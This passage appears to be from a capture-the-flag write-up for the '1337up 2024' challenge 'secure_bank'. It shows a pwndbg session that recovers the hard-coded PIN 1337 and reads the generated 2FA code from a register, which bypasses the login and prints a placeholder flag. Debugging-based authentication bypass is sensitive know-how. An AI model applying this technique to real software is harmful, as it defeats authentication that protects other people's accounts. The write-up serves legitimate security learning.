   0x000000000000133c <+43>:    call   0x1040 <printf@plt>
   0x0000000000001341 <+48>:    lea    rax,[rbp-0x8]
   0x0000000000001345 <+52>:    mov    rsi,rax
   0x0000000000001348 <+55>:    lea    rax,[rip+0xe9b]        # 0x21ea
   0x000000000000134f <+62>:    mov    rdi,rax
   0x0000000000001352 <+65>:    mov    eax,0x0
   0x0000000000001357 <+70>:    call   0x1050 <__isoc99_scanf@plt>
   0x000000000000135c <+75>:    mov    eax,DWORD PTR [rbp-0x8]
   0x000000000000135f <+78>:    cmp    eax,0x539
   0x0000000000001364 <+83>:    je     0x137c <main+107>
   0x0000000000001366 <+85>:    lea    rax,[rip+0xe80]        # 0x21ed
   0x000000000000136d <+92>:    mov    rdi,rax
   0x0000000000001370 <+95>:    call   0x1030 <puts@plt>
   0x0000000000001375 <+100>:   mov    eax,0x1
   0x000000000000137a <+105>:   jmp    0x13cc <main+187>
   0x000000000000137c <+107>:   mov    eax,DWORD PTR [rbp-0x8]
   0x000000000000137f <+110>:   mov    edi,eax
   0x0000000000001381 <+112>:   call   0x11fa <generate_2fa_code>
   0x0000000000001386 <+117>:   mov    DWORD PTR [rbp-0x4],eax
   0x0000000000001389 <+120>:   lea    rax,[rip+0xe7b]        # 0x220b
   0x0000000000001390 <+127>:   mov    rdi,rax
   0x0000000000001393 <+130>:   mov    eax,0x0
   0x0000000000001398 <+135>:   call   0x1040 <printf@plt>
   0x000000000000139d <+140>:   lea    rax,[rbp-0xc]
   0x00000000000013a1 <+144>:   mov    rsi,rax
   0x00000000000013a4 <+147>:   lea    rax,[rip+0xe3f]        # 0x21ea
   0x00000000000013ab <+154>:   mov    rdi,rax
   0x00000000000013ae <+157>:   mov    eax,0x0
   0x00000000000013b3 <+162>:   call   0x1050 <__isoc99_scanf@plt>
   0x00000000000013b8 <+167>:   mov    eax,DWORD PTR [rbp-0xc]
   0x00000000000013bb <+170>:   mov    edx,DWORD PTR [rbp-0x4]
   0x00000000000013be <+173>:   mov    esi,edx
   0x00000000000013c0 <+175>:   mov    edi,eax
   0x00000000000013c2 <+177>:   call   0x12ba <validate_2fa_code>
   0x00000000000013c7 <+182>:   mov    eax,0x0
   0x00000000000013cc <+187>:   leave
   0x00000000000013cd <+188>:   ret
End of assembler dump.
pwndbg> breakrva *main+117
breakrva: The program is not being run.
pwndbg> break *main+117
Breakpoint 1 at 0x1386
pwndbg> run
Starting program: /media/sf_Shared/1337up 2024/secure_bank 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
****************************************
*         Welcome to SecureBank        *
*    Your trusted partner in security  *
****************************************

========================================
=   SecureBank Superadmin Login System =
========================================

Enter superadmin PIN: 1337

Breakpoint 1, 0x0000555555555386 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────
 RAX  0x568720
 RBX  0x7fffffffdee8 β€”β–Έ 0x7fffffffe25f β—‚β€” '/media/sf_Shared/1337up 2024/secure_bank'
 RCX  2
 RDX  0x57c77bc8
 RDI  0xa8497d36
 RSI  0xd5f1def
 R8   0xa
 R9   0
 R10  0
 R11  0x7ffff7f3f8e0 (_nl_C_LC_CTYPE_class+256) β—‚β€” 0x2000200020002
 R12  0
 R13  0x7fffffffdef8 β€”β–Έ 0x7fffffffe288 β—‚β€” 'COLORFGBG=15;0'
 R14  0x7ffff7ffd000 (_rtld_global) β€”β–Έ 0x7ffff7ffe2e0 β€”β–Έ 0x555555554000 β—‚β€” 0x10102464c457f
 R15  0x555555557dd8 (__do_global_dtors_aux_fini_array_entry) β€”β–Έ 0x555555555110 (__do_global_dtors_aux) β—‚β€” endbr64 
 RBP  0x7fffffffddd0 β—‚β€” 1
 RSP  0x7fffffffddc0 β—‚β€” 0
 RIP  0x555555555386 (main+117) β—‚β€” mov dword ptr [rbp - 4], eax
───────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────
 β–Ί 0x555555555386 <main+117>    mov    dword ptr [rbp - 4], eax     [0x7fffffffddcc] <= 0x568720
   0x555555555389 <main+120>    lea    rax, [rip + 0xe7b]           RAX => 0x55555555620b β—‚β€” 'Enter your 2FA code: '
   0x555555555390 <main+127>    mov    rdi, rax                     RDI => 0x55555555620b β—‚β€” 'Enter your 2FA code: '
   0x555555555393 <main+130>    mov    eax, 0                       EAX => 0
   0x555555555398 <main+135>    call   printf@plt                  <printf@plt>
 
   0x55555555539d <main+140>    lea    rax, [rbp - 0xc]
   0x5555555553a1 <main+144>    mov    rsi, rax
   0x5555555553a4 <main+147>    lea    rax, [rip + 0xe3f]     RAX => 0x5555555561ea β—‚β€” 0x7365636341007525 /* '%u' */
   0x5555555553ab <main+154>    mov    rdi, rax
   0x5555555553ae <main+157>    mov    eax, 0                 EAX => 0
   0x5555555553b3 <main+162>    call   __isoc99_scanf@plt          <__isoc99_scanf@plt>
────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────
00:0000β”‚ rsp 0x7fffffffddc0 β—‚β€” 0
01:0008β”‚-008 0x7fffffffddc8 β—‚β€” 0x7fff00000539
02:0010β”‚ rbp 0x7fffffffddd0 β—‚β€” 1
03:0018β”‚+008 0x7fffffffddd8 β€”β–Έ 0x7ffff7dd9d68 (__libc_start_call_main+120) β—‚β€” mov edi, eax
04:0020β”‚+010 0x7fffffffdde0 β€”β–Έ 0x7fffffffded0 β€”β–Έ 0x7fffffffded8 β—‚β€” 0x38 /* '8' */
05:0028β”‚+018 0x7fffffffdde8 β€”β–Έ 0x555555555311 (main) β—‚β€” push rbp
06:0030β”‚+020 0x7fffffffddf0 β—‚β€” 0x155554040
07:0038β”‚+028 0x7fffffffddf8 β€”β–Έ 0x7fffffffdee8 β€”β–Έ 0x7fffffffe25f β—‚β€” '/media/sf_Shared/1337up 2024/secure_bank'
──────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────
 β–Ί 0   0x555555555386 main+117
   1   0x7ffff7dd9d68 __libc_start_call_main+120
   2   0x7ffff7dd9e25 __libc_start_main+133
   3   0x555555555091 _start+33
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> print (int) 0x568720
$2 = 5670688
pwndbg> continue
Continuing.
Enter your 2FA code: 5670688
Access Granted! Welcome, Superadmin!
Here is your flag: INTIGRITI{fake_flag}
This post is licensed under CC BY 4.0 by the author.